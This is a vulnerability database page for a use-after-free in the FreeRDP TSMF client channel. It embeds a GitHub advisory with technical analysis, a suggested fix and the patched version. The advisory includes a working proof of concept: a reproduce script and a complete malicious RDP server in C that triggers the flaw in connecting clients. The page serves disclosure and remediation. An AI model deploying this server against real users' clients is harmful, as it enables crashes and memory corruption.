Use-after-free in FreeRDP TSMF client when closing a channel
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · High · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-9vf8-9p84-28m7. Fix status from GitHub.
Summary
FreeRDP versions up to and including 3.33.1 contain a use-after-free in the TSMF client channel. A remote server that completed the RDP handshake can close the channel while another stream still uses its callback, so that stream's ack thread later touches freed memory. No user interaction is needed beyond enabling TSMF, and if the freed block is reused, the call target can be corrupted.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
Description from the GitHub advisory
# FreeRDP TSMF client use-after-free when closing the channel frees a callback a live stream ack thread still uses ## Summary A remote server that has completed the RDP handshake and can open the TSMF dynamic virtual channel can free a channel callback while a stream that still references it is running, after which that stream's ack thread touches the freed memory. The server sends SET_CHANNEL_PARAMS to set `callback->stream_id`, then sends ADD_STREAM and ON_SAMPLE or ON_END_OF_STREAM with a different stream id, then closes the channel; the TSMF_CHANNEL_CALLBACK is freed while the surviving stream's ack thread still holds it, and that thread later dereferences the freed callback and its freed channel. All of these are server-controlled messages, and no user interaction is required beyond enabling TSMF. The issue was checked on the latest commit. ## Technical Details The ineffective check is in `tsmf_on_close` (channels/tsmf/client/tsmf_main.c:413-426): it stops only the stream whose id equals `callback->stream_id` and then frees the TSMF_CHANNEL_CALLBACK unconditionally, without checking that no other live stream still references the callback. Data flow: `tsmf_on_data_received` (channels/tsmf/client/tsmf_main.c:194-210) is the entry point for server messages and lets SET_CHANNEL_PARAMS set `presentation_id` and `stream_id` to values unrelated to later ADD_STREAM messages. `tsmf_ifman_add_stream` (channels/tsmf/client/tsmf_ifman.c:241-243) reads StreamId from the message body with no consistency check against `callback->stream_id`, creating a stream whose id differs. `tsmf_ifman_on_sample` (channels/tsmf/client/tsmf_ifman.c:597-632) binds this channel's callback to that stream's samples through `tsmf_stream_push_sample`, and `tsmf_ifman_on_end_of_stream` (channels/tsmf/client/tsmf_ifman.c:704-713) stores this channel's callback in `stream->eos_channel_callback` for asynchronous use by the ack thread. On close, `tsmf_on_close` skips stopping the non-matching stream and frees the callback while that stream's ack thread is still running; `dvcman_channel_close` (channels/drdynvc/client/drdynvc_main.c:540-556) then calls `dvcman_channel_unref`, the reference count reaches zero, and `HashTable_Remove` with `channelByIdCleanerFn` frees the DVCMAN_CHANNEL so that `callback->channel` becomes dangling. `tsmf_stream_ack_func` (channels/tsmf/client/tsmf_media.c:749-763) reaches `tsmf_send_eos_response` (channels/tsmf/client/tsmf_main.c:48) on the eos path, and `tsmf_sample_ack` (channels/tsmf/client/tsmf_media.c:259-266) calls `tsmf_playback_ack` (channels/tsmf/client/tsmf_main.c:95-111); both dereference the freed callback and read the `Write` function pointer through its freed channel. ## Impact The surviving stream's ack thread dereferences released memory and continues through the freed channel's `Write` pointer, so on a real heap layout the call executes on freed memory; if the freed block is reused, the call target can be corrupted, giving potential memory corruption or a process crash. The affected channel is not enabled by default and the exploitation upper bound is not closed, so the issue is conservatively rated medium. ## Proof of Concept <details> <summary>Show the proof of concept</summary> On commit `651ab269524adbda4d673efa60d2e391ef7555a7` the behavior was dynamically shown. Commands: ```sh cmake -S "$SRC" -B "$SRC/build" \ -DCHANNEL_TSMF=ON -DCHANNEL_TSMF_CLIENT=ON -DWITH_DEBUG_TSMF=OFF \ -DCMAKE_C_FLAGS="-g -fno-omit-frame-pointer -fsanitize=address -fsanitize-address-use-after-scope" \ -DCMAKE_CXX_FLAGS="-g -fno-omit-frame-pointer -fsanitize=address -fsanitize-address-use-after-scope" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" ninja -C "$SRC/build" ninja -C "$SRC/build" install openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt \ -days 1 -nodes -subj "/CN=mdserver" clang -g -O0 -fno-omit-frame-pointer -fsanitize=address \ -I"$SRC/install/include/freerdp3" -I"$SRC/install/include/winpr3" \ md_server.c -o md_server \ -L"$SRC/install/lib" -lfreerdp-server3 -lfreerdp3 -lwinpr3 -Wl,-rpath,"$SRC/install/lib" ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 MD_ATTEMPTS=1 \ ./md_server --cert=server.crt --key=server.key --port=3390 & SDL_VIDEODRIVER=dummy ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \ "$SRC/install/bin/sfreerdp" \ /v:127.0.0.1:3390 /u:user /p:pass /cert:ignore "/multimedia:decoder:ffmpeg" ``` Input, `reproduce.sh`: ```bash #!/usr/bin/env bash # # One-command replay: "TSMF channel close frees the channel callback while a # live stream's ack thread still references it (use-after-free)". # # This reconfigures and rebuilds the source tree with the TSMF client channel # enabled and AddressSanitizer explicitly forced on, then drives a real FreeRDP # client (sfreerdp) against a malicious RDP server (md_server.c) that opens the # TSMF dynamic virtual channel and exploits the id mismatch. # # Everything the replay needs lives next to this script: # md_server.c malicious RDP server source # # Inputs (env, all optional): # FREERDP_SRC source tree (default /work/build/source) # MD_PORT TCP port for the server (default 3390) # MD_JOBS ninja parallelism (default: nproc) # MD_TIMEOUT client wall-clock timeout (default 60) # # Output: the AddressSanitizer report is echoed on stdout followed by # REPRO_RESULT: reproduced | not_reproduced | environment_error set -u SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SRC="${FREERDP_SRC:-/work/build/source}" PORT="${MD_PORT:-3390}" JOBS="${MD_JOBS:-$(nproc 2>/dev/null || echo 2)}" CLIENT_TIMEOUT="${MD_TIMEOUT:-60}" WORK="$(mktemp -d)" SERVER_PID="" cleanup() { if [ -n "$SERVER_PID" ] && kill -0 "$SERVER_PID" 2>/dev/null; then kill "$SERVER_PID" 2>/dev/null || true wait "$SERVER_PID" 2>/dev/null || true fi rm -rf "$WORK" } trap cleanup EXIT INT TERM env_error() { echo "REPRO_RESULT: environment_error" exit 2 } not_reproduced() { echo "REPRO_RESULT: not_reproduced" exit 1 } for tool in clang cmake ninja openssl; do command -v "$tool" >/dev/null 2>&1 || { echo "missing tool: $tool" >&2; env_error; } done [ -d "$SRC" ] || { echo "missing source: $SRC" >&2; env_error; } [ -f "$SCRIPT_DIR/md_server.c" ] || { echo "missing $SCRIPT_DIR/md_server.c" >&2; env_error; } echo "== reconfigure with TSMF client channel + ASan ==" cmake -S "$SRC" -B "$SRC/build" \ -DCHANNEL_TSMF=ON -DCHANNEL_TSMF_CLIENT=ON -DWITH_DEBUG_TSMF=OFF \ -DCMAKE_C_FLAGS="-g -fno-omit-frame-pointer -fsanitize=address -fsanitize-address-use-after-scope" \ -DCMAKE_CXX_FLAGS="-g -fno-omit-frame-pointer -fsanitize=address -fsanitize-address-use-after-scope" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \ >"$WORK/cmake.log" 2>&1 || { tail -30 "$WORK/cmake.log"; env_error; } echo "== build + install ==" ninja -C "$SRC/build" -j"$JOBS" >"$WORK/build.log" 2>&1 || { tail -40 "$WORK/build.log"; env_error; } ninja -C "$SRC/build" install >>"$WORK/build.log" 2>&1 || { tail -40 "$WORK/build.log"; env_error; } BIN="$SRC/install/bin" LIB="$SRC/install/lib" [ -x "$BIN/sfreerdp" ] || { echo "client not found" >&2; env_error; } echo "== generate server certificate ==" openssl req -x509 -newkey rsa:2048 -keyout "$WORK/server.key" -out "$WORK/server.crt" \ -days 1 -nodes -subj "/CN=mdserver" >/dev/null 2>&1 || env_error echo "== build malicious RDP server ==" cp "$SCRIPT_DIR/md_server.c" "$WORK/md_server.c" clang -g -O0 -fno-omit-frame-pointer -fsanitize=address \ -I"$SRC/install/include/freerdp3" -I"$SRC/install/include/winpr3" \ "$WORK/md_server.c" -o "$WORK/md_server" \ -L"$LIB" -lfreerdp-server3 -lfreerdp3 -lwinpr3 -Wl,-rpath,"$LIB" \ >"$WORK/cc.log" 2>&1 || { tail -30 "$WORK/cc.log"; env_error; } echo "== start malicious server on port $PORT ==" ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 MD_ATTEMPTS=1 \ "$WORK/md_server" --cert="$WORK/server.crt" --key="$WORK/server.key" --port="$PORT" \ >"$WORK/server.log" 2>&1 & SERVER_PID=$! sleep 2 kill -0 "$SERVER_PID" 2>/dev/null || { echo "server failed to start" >&2; tail -20 "$WORK/server.log"; env_error; } echo "== run real FreeRDP client (sfreerdp) against it ==" SDL_VIDEODRIVER=dummy ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \ timeout "$CLIENT_TIMEOUT" "$BIN/sfreerdp" \ /v:127.0.0.1:"$PORT" /u:user /p:pass /cert:ignore "/multimedia:decoder:ffmpeg" \ >"$WORK/client.log" 2>&1 CLIENT_RC=$? echo "client exit code: $CLIENT_RC" if [ -n "$SERVER_PID" ] && kill -0 "$SERVER_PID" 2>/dev/null; then kill "$SERVER_PID" 2>/dev/null || true wait "$SERVER_PID" 2>/dev/null || true fi SERVER_PID="" echo "== server log (mdserver) ==" grep -a "mdserver" "$WORK/server.log" || true echo "== client AddressSanitizer report ==" if grep -aq "AddressSanitizer: heap-use-after-free" "$WORK/client.log"; then awk '/ERROR: AddressSanitizer: heap-use-after-free/{p=1} p{print} /SUMMARY: AddressSanitizer/{if(p){exit}}' \ "$WORK/client.log" else echo "(no AddressSanitizer heap-use-after-free found)" tail -40 "$WORK/client.log" fi if grep -aq "AddressSanitizer: heap-use-after-free" "$WORK/client.log" && grep -aq "tsmf_send_eos_response" "$WORK/client.log"; then echo "REPRO_RESULT: reproduced" exit 0 fi not_reproduced ``` Input, `md_server.c`: ```c /** * Malicious RDP server PoC for TSMF channel callback use-after-free. * * Attacker model: the remote RDP server is untrusted. It completes the RDP * handshake, opens the "TSMF" dynamic virtual channel and pushes TSMF IFMAN * messages whose StreamId differs from the value the server itself supplied in * SET_CHANNEL_PARAMS. It then closes the DVC channel while the ADD_STREAM * stream is still alive. tsmf_on_close() only frees the stream whose id equals * callback->stream_id, so the other stream keeps running with a pointer to the * now freed TSMF_CHANNEL_CALLBACK; its ack thread later dereferences it. * * This is a real RDP peer built on libfreerdp-server3; the client under test is * a real FreeRDP client (sfreerdp) connecting over TCP. */ #include <freerdp/config.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/winpr.h> #include <winpr/crt.h> #include <winpr/ssl.h> #include <winpr/synch.h> #include <winpr/string.h> #include <winpr/winsock.h> #include <winpr/assert.h> #include <winpr/sysinfo.h> #include <winpr/wtsapi.h> #include <freerdp/freerdp.h> #include <freerdp/constants.h> #include <freerdp/listener.h> #include <freerdp/settings.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <freerdp/channels/drdynvc.h> #include <freerdp/log.h> #define TAG SERVER_TAG("mdserver") /* ---- TSMF [MS-RDPEV] constants (client side naming) ---- */ #define TSMF_IFACE_PROXY 0x40000000u #define TSMF_SET_CHANNEL_PARAMS 0x00000101u #define TSMF_ADD_STREAM 0x00000102u #define TSMF_ON_NEW_PRESENTATION 0x00000105u #define TSMF_ON_END_OF_STREAM 0x00000111u /* MEDIATYPE_Video {73646976-0000-0010-8000-00AA00389B71} */ static const BYTE GUID_MEDIATYPE_VIDEO[16] = { 0x76, 0x69, 0x64, 0x73, 0x00, 0x00, 0x10, 0x00, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 }; /* MEDIASUBTYPE_H264 {34363248-0000-0010-8000-00AA00389B71} */ static const BYTE GUID_MEDIASUBTYPE_H264[16] = { 0x48, 0x32, 0x36, 0x34, 0x00, 0x00, 0x10, 0x00, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 }; /* FORMAT_MPEG2_VIDEO {E06D80E3-DB46-11CF-B4D1-00805F6CBBEA} */ static const BYTE GUID_FORMAT_MPEG2_VIDEO[16] = { 0xE3, 0x80, 0x6D, 0xE0, 0x46, 0xDB, 0xCF, 0x11, 0xB4, 0xD1, 0x00, 0x80, 0x5F, 0x6C, 0xBB, 0xEA }; typedef struct { BYTE data[8192]; size_t len; } Buf; static void put_u8(Buf* b, BYTE v) { b->data[b->len++] = v; } static void put_u32(Buf* b, UINT32 v) { b->data[b->len++] = (BYTE)(v & 0xFF); b->data[b->len++] = (BYTE)((v >> 8) & 0xFF); b->data[b->len++] = (BYTE)((v >> 16) & 0xFF); b->data[b->len++] = (BYTE)((v >> 24) & 0xFF); } static void put_u64(Buf* b, UINT64 v) { put_u32(b, (UINT32)(v & 0xFFFFFFFFu)); put_u32(b, (UINT32)((v >> 32) & 0xFFFFFFFFu)); } static void put_bytes(Buf* b, const void* p, size_t n) { memcpy(&b->data[b->len], p, n); b->len += n; } static void put_zeros(Buf* b, size_t n) { memset(&b->data[b->len], 0, n); b->len += n; } static void msg_begin(Buf* b, UINT32 iface, UINT32 msgid, UINT32 func) { b->len = 0; put_u32(b, iface); put_u32(b, msgid); put_u32(b, func); } /* Build a TS_AM_MEDIA_TYPE that the built-in ffmpeg tsmf decoder accepts: * H264 / MPEG2VIDEOINFO, cbFormat = 112 (VIDEOINFOHEADER2 + BITMAPINFOHEADER). */ static void build_media_type(Buf* b) { put_bytes(b, GUID_MEDIATYPE_VIDEO, 16); /* MajorType */ put_bytes(b, GUID_MEDIASUBTYPE_H264, 16); /* SubType */ put_u32(b, 0); /* bFixedSizeSamples */ put_u32(b, 0); /* bTemporalCompression */ put_u32(b, 0); /* SampleSize */ put_bytes(b, GUID_FORMAT_MPEG2_VIDEO, 16); /* FormatType */ put_u32(b, 112); /* cbFormat */ /* VIDEOINFOHEADER2 (72 bytes) */ put_u32(b, 0); /* rcSource.left */ put_u32(b, 0); /* rcSource.top */ put_u32(b, 128); /* rcSource.right -> Width */ put_u32(b, 128); /* rcSource.bottom -> Height */ put_zeros(b, 16); /* rcTarget */ put_u32(b, 1000000); /* dwBitRate */ put_u32(b, 0); /* dwBitErrorRate */ put_u64(b, 333333); /* AvgTimePerFrame (30 fps) */ put_zeros(b, 24); /* remaining fields before bmiHeader */ /* BITMAPINFOHEADER (40 bytes) */ put_u32(b, 40); /* biSize */ put_u32(b, 128); /* biWidth */ put_u32(b, 128); /* biHeight */ put_zeros(b, 28); } typedef struct { const char* cert; const char* key; } server_info; static volatile sig_atomic_t g_stop = 0; typedef struct { rdpContext _p; HANDLE vcm; BOOL activated; DWORD sessionId; void* dvc; /* current TSMF DVC handle */ int attempt; int state; UINT64 stateTime; UINT64 finishTime; } mdContext; static int g_attempts = 1; static BOOL md_context_new(freerdp_peer* client, rdpContext* ctx) { mdContext* context = (mdContext*)ctx; WINPR_ASSERT(client); WINPR_ASSERT(context); WINPR_ASSERT(ctx->settings); context->state = 0; context->attempt = 0; context->dvc = NULL; context->vcm = WTSOpenServerA((LPSTR)client->context); if (!context->vcm || (context->vcm == INVALID_HANDLE_VALUE)) { WLog_ERR(TAG, "WTSOpenServerA failed"); return FALSE; } return TRUE; } static void md_context_free(freerdp_peer* client, rdpContext* ctx) { mdContext* context = (mdContext*)ctx; WINPR_UNUSED(client); if (!context) return; if (context->dvc) { (void)WTSVirtualChannelClose(context->dvc); context->dvc = NULL; } if (context->vcm) { WTSCloseServer(context->vcm); context->vcm = NULL; } } static BOOL md_peer_post_connect(freerdp_peer* client) { WINPR_UNUSED(client); return TRUE; } static BOOL md_peer_activate(freerdp_peer* client) { mdContext* context = (mdContext*)client->context; WINPR_ASSERT(context); context->activated = TRUE; WLog_INFO(TAG, "peer activated"); return TRUE; } static UINT64 md_now(void) { return (UINT64)GetTickCount64(); } /* returns TRUE if the DVC is open (client answered create request) */ static BOOL md_dvc_ready(void* dvc) { BOOL ready = FALSE; void* buf = NULL; DWORD bytes = 0; if (!dvc) return FALSE; if (!WTSVirtualChannelQuery(dvc, WTSVirtualChannelReady, &buf, &bytes)) return FALSE; if (buf && (bytes == sizeof(BOOL))) ready = *(BOOL*)buf; if (buf) WTSFreeMemory(buf); return ready; } static BOOL md_dvc_write(void* dvc, Buf* b) { ULONG written = 0; if (!dvc || !b) return FALSE; if (!WTSVirtualChannelWrite(dvc, (PCHAR)b->data, (ULONG)b->len, &written)) { WLog_ERR(TAG, "WTSVirtualChannelWrite failed"); return FALSE; } return (written == b->len); } /* One attack attempt: SET_CHANNEL_PARAMS(stream S1) then * ON_NEW_PRESENTATION + ADD_STREAM(S2 != S1) + ON_END_OF_STREAM(S2), * then close the channel (which frees the callback but not stream S2). */ static BOOL md_fire(mdContext* context) { Buf b; BYTE guid[16]; UINT32 s1 = 0x10001000u + (UINT32)context->attempt; UINT32 s2 = 0x20002000u + (UINT32)context->attempt; memset(guid, 0, sizeof(guid)); guid[0] = (BYTE)(0xA0 + context->attempt); guid[1] = 0x14; guid[2] = 0x06; guid[3] = 0x99; guid[15] = (BYTE)(0x40 + context->attempt); /* 1. SET_CHANNEL_PARAMS: callback->presentation_id = guid, callback->stream_id = s1 */ msg_begin(&b, TSMF_IFACE_PROXY, 0x0001, TSMF_SET_CHANNEL_PARAMS); put_bytes(&b, guid, 16); put_u32(&b, s1); if (!md_dvc_write(context->dvc, &b)) return FALSE; /* 2. ON_NEW_PRESENTATION: create presentation guid bound to this callback */ msg_begin(&b, TSMF_IFACE_PROXY, 0x0002, TSMF_ON_NEW_PRESENTATION); put_bytes(&b, guid, 16); if (!md_dvc_write(context->dvc, &b)) return FALSE; /* 3. ADD_STREAM: create stream s2 (!= callback->stream_id) and start its threads */ msg_begin(&b, TSMF_IFACE_PROXY, 0x0003, TSMF_ADD_STREAM); put_bytes(&b, guid, 16); put_u32(&b, s2); /* StreamId, never compared against callback->stream_id */ put_u32(&b, 1); /* numMediaType */ build_media_type(&b); if (!md_dvc_write(context->dvc, &b)) return FALSE; /* 4. ON_END_OF_STREAM for s2: arms stream->eos_channel_callback = callback */ msg_begin(&b, TSMF_IFACE_PROXY, 0x0004, TSMF_ON_END_OF_STREAM); put_bytes(&b, guid, 16); put_u32(&b, s2); if (!md_dvc_write(context->dvc, &b)) return FALSE; WLog_INFO(TAG, "attempt %d fired: callback stream_id=0x%08x victim stream_id=0x%08x", context->attempt, s1, s2); return TRUE; } static void md_inject_step(mdContext* context) { ULONG* pSession = NULL; DWORD bytes = 0; if (context->state == 0) { /* Fallback if session id was not queried yet */ if (WTSQuerySessionInformationA(context->vcm, WTS_CURRENT_SESSION, WTSSessionId, (LPSTR*)&pSession, &bytes) && pSession) { context->sessionId = *pSession; WTSFreeMemory(pSession); } context->dvc = WTSVirtualChannelOpenEx(context->sessionId, "TSMF", WTS_CHANNEL_OPTION_DYNAMIC); if (!context->dvc) { WLog_ERR(TAG, "WTSVirtualChannelOpenEx(TSMF) failed"); context->state = 99; return; } WLog_INFO(TAG, "opened TSMF DVC (attempt %d)", context->attempt); context->state = 1; return; } if (context->state == 1) { if (!md_dvc_ready(context->dvc)) return; if (!md_fire(context)) { context->state = 99; return; } /* Immediately close: tsmf_on_close() frees the callback while stream s2 lives on */ (void)WTSVirtualChannelClose(context->dvc); context->dvc = NULL; context->attempt++; context->stateTime = md_now(); if (context->attempt >= g_attempts) { context->finishTime = md_now(); context->state = 2; } else context->state = 3; return; } if (context->state == 3) { /* short pause so the client can process the close before the next attempt */ if ((md_now() - context->stateTime) >= 200) context->state = 0; return; } } static DWORD WINAPI md_peer_mainloop(LPVOID arg) { freerdp_peer* client = (freerdp_peer*)arg; mdContext* context = NULL; rdpSettings* settings = NULL; server_info* info = NULL; BOOL rc = FALSE; WINPR_ASSERT(client); info = client->ContextExtra; WINPR_ASSERT(info); client->ContextSize = sizeof(mdContext); client->ContextNew = md_context_new; client->ContextFree = md_context_free; if (!freerdp_peer_context_new(client)) { freerdp_peer_free(client); return 0; } context = (mdContext*)client->context; settings = client->context->settings; { rdpPrivateKey* key = freerdp_key_new_from_file_enc(info->key, NULL); if (!key) goto fail; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1)) goto fail; } { rdpCertificate* cert = freerdp_certificate_new_from_file(info->cert); if (!cert) goto fail; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) goto fail; } if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE)) goto fail; if (!freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE)) goto fail; if (!freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE)) goto fail; if (!freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE)) goto fail; if (!freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE)) goto fail; if (!freerdp_settings_set_bool(settings, FreeRDP_SuppressOutput, TRUE)) goto fail; if (!freerdp_settings_set_uint32(settings, FreeRDP_MultifragMaxRequestSize, 0xFFFFFF)) goto fail; /* Force the client to perform the normal MCS channel join so that the * drdynvc virtual channel open succeeds. */ if (!freerdp_settings_set_bool(settings, FreeRDP_SupportSkipChannelJoin, FALSE)) goto fail; client->PostConnect = md_peer_post_connect; client->Activate = md_peer_activate; WINPR_ASSERT(client->Initialize); if (!client->Initialize(client)) goto fail; WLog_INFO(TAG, "client connected"); while (!g_stop) { HANDLE handles[40] = WINPR_C_ARRAY_INIT; DWORD count = 0; DWORD status = 0; HANDLE channelHandle = NULL; WINPR_ASSERT(client->GetEventHandles); count = client->GetEventHandles(client, handles, 32); if (count == 0) break; channelHandle = WTSVirtualChannelManagerGetEventHandle(context->vcm); if (channelHandle) handles[count++] = channelHandle; status = WaitForMultipleObjects(count, handles, FALSE, 200); if (status == WAIT_FAILED) break; WINPR_ASSERT(client->CheckFileDescriptor); if (!client->CheckFileDescriptor(client)) break; /* Only drive the DVC manager once the connection is fully activated: * sending the drdynvc capability exchange during the licensing state * makes the client reject the session, and opening it before the * drdynvc channel is joined leaves the server stuck in * DRDYNVC_STATE_INITIALIZED. */ if (context->activated && WTSVirtualChannelManagerIsChannelJoined(context->vcm, DRDYNVC_SVC_CHANNEL_NAME)) { if (!WTSVirtualChannelManagerCheckFileDescriptor(context->vcm)) break; const BYTE st = WTSVirtualChannelManagerGetDrdynvcState(context->vcm); if ((st == DRDYNVC_STATE_READY) && (context->state != 99) && (context->state != 2)) md_inject_step(context); } if (context->state == 2) { if ((md_now() - context->finishTime) >= 4000) break; } } WLog_INFO(TAG, "client loop end (state=%d)", context->state); client->Disconnect(client); fail: freerdp_peer_context_free(client); freerdp_peer_free(client); return 0; } static BOOL md_peer_accepted(freerdp_listener* instance, freerdp_peer* client) { HANDLE hThread = NULL; client->ContextExtra = instance->info; hThread = CreateThread(NULL, 0, md_peer_mainloop, (void*)client, 0, NULL); if (!hThread) return FALSE; (void)CloseHandle(hThread); return TRUE; } static void md_sig(int s) { (void)s; g_stop = 1; } int main(int argc, char* argv[]) { int rc = -1; freerdp_listener* instance = NULL; long port = 3389; server_info info = { NULL, NULL }; WSADATA wsaData = WINPR_C_ARRAY_INIT; for (int i = 1; i < argc; i++) { if (strncmp(argv[i], "--cert=", 7) == 0) info.cert = &argv[i][7]; else if (strncmp(argv[i], "--key=", 6) == 0) info.key = &argv[i][6]; else if (strncmp(argv[i], "--port=", 7) == 0) port = strtol(&argv[i][7], NULL, 10); } if (!info.cert || !info.key) { fprintf(stderr, "usage: %s --cert=<crt> --key=<key> [--port=N]\n", argv[0]); return -1; } { const char* a = getenv("MD_ATTEMPTS"); if (a) { const long v = strtol(a, NULL, 10); if (v > 0) g_attempts = (int)v; } } signal(SIGINT, md_sig); signal(SIGTERM, md_sig); signal(SIGPIPE, SIG_IGN); if (!WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi())) return -1; if (!winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT)) return -1; instance = freerdp_listener_new(); if (!instance) return -1; instance->info = (void*)&info; instance->PeerAccepted = md_peer_accepted; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) goto out; if (!instance->Open(instance, NULL, (UINT16)port)) { WLog_ERR(TAG, "unable to listen on port %ld", port); goto out; } WLog_INFO(TAG, "listening on %ld", port); rc = 0; while (!g_stop) { HANDLE handles[32] = WINPR_C_ARRAY_INIT; DWORD count = instance->GetEventHandles(instance, handles, 32); DWORD status = 0; if (count == 0) break; status = WaitForMultipleObjects(count, handles, FALSE, 300); if (status == WAIT_FAILED) break; if (!instance->CheckFileDescriptor(instance)) break; } out: freerdp_listener_free(instance); WSACleanup(); return rc; } ``` Observed output: ```text client exit code: 1 [mdserver] md_inject_step: opened TSMF DVC (attempt 0) [mdserver] md_fire: attempt 0 fired: callback stream_id=0x10001000 victim stream_id=0x20002000 ==2505==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ba3a8ee3868 at pc 0x7f33b4ab6536 bp 0x7b339cc28100 sp 0x7b339cc280f8 READ of size 4 at 0x7ba3a8ee3868 thread T8 #0 0x7f33b4ab6535 in tsmf_send_eos_response /work/build/source/channels/tsmf/client/tsmf_main.c:48:28 #1 0x7f33b4abe880 in tsmf_stream_ack_func /work/build/source/channels/tsmf/client/tsmf_media.c:763:4 #2 0x7f33b3d64f48 in thread_launcher /work/build/source/winpr/libwinpr/thread/thread.c:540:7 #3 0x55f4d3fe45e6 in asan_thread_start(void*) /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28 #4 0x7f33b39ee608 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8608) #5 0x7f33b38ca352 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f352) 0x7ba3a8ee3868 is located 72 bytes inside of 80-byte region [0x7ba3a8ee3820,0x7ba3a8ee3870) freed by thread T6 here: #0 0x55f4d3fe6a66 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:51:3 #1 0x7f33b4ab9a06 in tsmf_on_close /work/build/source/channels/tsmf/client/tsmf_main.c:426:2 #2 0x7f33b4a2e918 in dvcman_channel_close /work/build/source/channels/drdynvc/client/drdynvc_main.c:543:14 #3 0x7f33b4a34834 in drdynvc_process_close_request /work/build/source/channels/drdynvc/client/drdynvc_main.c:1627:2 #4 0x7f33b4a31f62 in drdynvc_order_recv /work/build/source/channels/drdynvc/client/drdynvc_main.c:1669:11 #5 0x7f33b4a30ec1 in drdynvc_virtual_channel_client_thread /work/build/source/channels/drdynvc/client/drdynvc_main.c:1861:17 previously allocated by thread T6 here: #0 0x55f4d3fe6ec9 in calloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:74:3 #1 0x7f33b4ab8761 in tsmf_on_new_channel_connection /work/build/source/channels/tsmf/client/tsmf_main.c:444:37 #2 0x7f33b4a35e03 in dvcman_create_channel /work/build/source/channels/drdynvc/client/drdynvc_main.c:865:9 #3 0x7f33b4a32e8a in drdynvc_process_create_request /work/build/source/channels/drdynvc/client/drdynvc_main.c:1409:6 #4 0x7f33b4a31ece in drdynvc_order_recv /work/build/source/channels/drdynvc/client/drdynvc_main.c:1656:11 #5 0x7f33b4a30ec1 in drdynvc_virtual_channel_client_thread /work/build/source/channels/drdynvc/client/drdynvc_main.c:1861:17 Thread T8 created by T6 here: #0 0x55f4d3fcaed1 in pthread_create /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:250:3 #1 0x7f33b3d62cd2 in winpr_StartThread /work/build/source/winpr/libwinpr/thread/thread.c:588:6 #2 0x7f33b3d63ac2 in ResumeThread /work/build/source/winpr/libwinpr/thread/thread.c:998:8 #3 0x7f33b4abecfb in tsmf_stream_start_threads /work/build/source/channels/tsmf/client/tsmf_media.c:1290:2 #4 0x7f33b4ab3400 in tsmf_ifman_add_stream /work/build/source/channels/tsmf/client/tsmf_ifman.c:257:3 #5 0x7f33b4ab9215 in tsmf_on_data_received /work/build/source/channels/tsmf/client/tsmf_main.c:229:10 #6 0x7f33b4a39429 in dvcman_call_on_receive /work/build/source/channels/drdynvc/client/drdynvc_main.c:496:9 #7 0x7f33b4a391fc in dvcman_receive_channel_data /work/build/source/channels/drdynvc/client/drdynvc_main.c:1010:12 #8 0x7f33b4a344d1 in drdynvc_process_data /work/build/source/channels/drdynvc/client/drdynvc_main.c:1589:11 #9 0x7f33b4a31f3e in drdynvc_order_recv /work/build/source/channels/drdynvc/client/drdynvc_main.c:1665:11 #10 0x7f33b4a30ec1 in drdynvc_virtual_channel_client_thread /work/build/source/channels/drdynvc/client/drdynvc_main.c:1861:17 SUMMARY: AddressSanitizer: heap-use-after-free /work/build/source/channels/tsmf/client/tsmf_main.c:48:28 in tsmf_send_eos_response REPRO_RESULT: reproduced ``` </details> ## Suggested Fix In `tsmf_on_close` (channels/tsmf/client/tsmf_main.c:413-426), before freeing the TSMF_CHANNEL_CALLBACK, stop every stream that still references the callback — or otherwise verify that no live stream's ack thread retains it — instead of stopping only the stream whose id equals `callback->stream_id`. As part of the same check, ADD_STREAM handling (`tsmf_ifman_add_stream`, channels/tsmf/client/tsmf_ifman.c:241-243) should not be able to bind a stream to the callback with an id that the close path will not stop.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.33.1 | 3.34.0 | Patch available | GHSA-9vf8-9p84-28m7 |
- FreeRDP (c) Vendor— Affected <= 3.33.1 Fixed in 3.34.0 Patch available GHSA-9vf8-9p84-28m7
Remediation
Upgrade FreeRDP to version 3.34.0 or later, which fixes this issue.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
